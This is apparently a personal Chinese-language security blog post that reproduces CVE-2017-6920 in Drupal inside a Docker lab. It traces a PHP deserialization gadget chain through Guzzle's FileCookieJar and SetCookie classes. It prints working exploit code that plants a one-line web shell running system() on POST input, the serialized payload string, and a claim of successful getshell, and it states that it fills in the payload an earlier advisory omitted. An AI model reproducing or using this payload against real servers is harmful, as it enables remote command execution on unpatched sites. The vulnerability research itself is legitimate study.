kerling

热爱安全。php python 低级coder 。爱美食爱电影爱二次元。0.3阶狼人杀玩家

CVE-2017-6920 getshell exp


CVE-2017-6920
复现

 

0X1 前言

先参考了文章 https://paper.seebug.org/334/

ADLAB给出的是poc无参数执行函数 call_user_func($this->_fn_close) 

了解下call_user_func就知道这个其实 并无危害。。。 另外给出了composer vendor中的cookie操作的插件。指出可以shell却没有给出PAYLOAD。于是便有了本文。

0x2 环境搭建

获取环境:
  1. 拉取镜像到本地

$ docker pull medicean/vulapps:d_drupal_1

  1. 启动环境

$ docker run -d -p 8000:80 medicean/vulapps:d_drupal_1

-p 8000:80 前面的 8000 代表物理机的端口,可随意指定。

访问 http://127.0.0.1:8000 看到 Drupal 主界面代表启动成功

这里使用vulapp的docker项目。测试端口由于被占用所以改为1324。已知可利用的插件 GuzzleHttp

又由于docker下文件读写操作相对不便 物理机搭建GuzzleHttp

(这是一个composer 的依赖库) 安装composer:

1、运行

php -r "readfile('https://getcomposer.org/installer');" | php

然后新建一个文件夹 MDZZ新建 composer.json 文件 内容如下

 {

   "require": {

      "guzzlehttp/guzzle": "~6.2.3"

   }

}

把安装的composer php脚本COPY到 文件夹下 如图

 

之后运行 php composer.phar update(优先配置php环境变量)



再到文件夹下

再测试环境是否搭建成功新建index.php(上图的index.txt 忘记改后缀了 - -)

 

 

<?php

require __DIR__ . '/vendor/autoload.php';

?>

 

如果访问不报错那么vendor配置完成。

 

0x3 漏洞EXP编写

两个文件


先看filecookiejar

魔术方法摧毁类处写到

    public function __destruct()

    {

        $this->save($this->filename);

}

那么跟进看看save方法

    public function save($filename)

    {

        $json = [];

        foreach ($this as $cookie) {

            /** @var SetCookie $cookie */

            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {

                $json[] = $cookie->toArray();

            }

        }

 

        $jsonStr = \GuzzleHttp\json_encode($json);

        if (false === file_put_contents($filename, $jsonStr)) {

            throw new \RuntimeException("Unable to save file {$filename}");

        }

}

可以看到通过json的形势读取cookie然后进行保存。那么接下来看看cookie定义类。看看怎么生成的类 转到setcookie.php

class SetCookie

{

    /** @var array */

    private static $defaults = [

        'Name'     => null,

        'Value'    => null,

        'Domain'   => null,

        'Path'     => '/',

        'Max-Age'  => null,

        'Expires'  => null,

        'Secure'   => false,

        'Discard'  => false,

        'HttpOnly' => false

    ];

 

再往下

public function setName($name)

    {

        $this->data['Name'] = $name;

    }

 

    /**

     * Get the cookie value

     *

     * @return string

     */

    public function getValue()

    {

        return $this->data['Value'];

    }

 

    /**

     * Set the cookie value

     *

     * @param string $value Cookie value

     */

    public function setValue($value)

    {

        $this->data['Value'] = $value;

    }

看到是简单的get set方法赋值 那么引用类之后构造payload

<?php

    require __DIR__ . '/vendor/autoload.php';

    use GuzzleHttp\Cookie\FileCookieJar;

    use GuzzleHttp\Cookie\SetCookie;

    $obj = new FileCookieJar('/tmp/test.php');//设置路径 

    $payload = '<?php echo system($_POST[\'poc\']); ?>';//小马

    $obj->setCookie(new SetCookie([ //进行cookie数组的赋值

        'Name' => 'foo', 

        'Value' =>'test',

        'Domain' => $payload,//域和值 长度较高可用来赋值

        'Expires' => time()]));

file_put_contents('./test.txt', addslashes(serialize($obj)));

 

导出到文件因为直接写出来会有不可见字符第二点写在tmp目录是因为docker www

权限不知道为什么写到根目录php文件无法成功 然而输出的其他文件就可以 cat一下 输出的payload是

O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:13:\"/tmp/test.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:3:\"foo\";s:5:\"Value\";s:4:\"test\";s:6:\"Domain\";s:36:\"<?php echo system($_POST[\'poc\']); ?>\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1508494215;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}



测试一下



可以看到成功getshell

评论

© kerling | Powered by LOFTER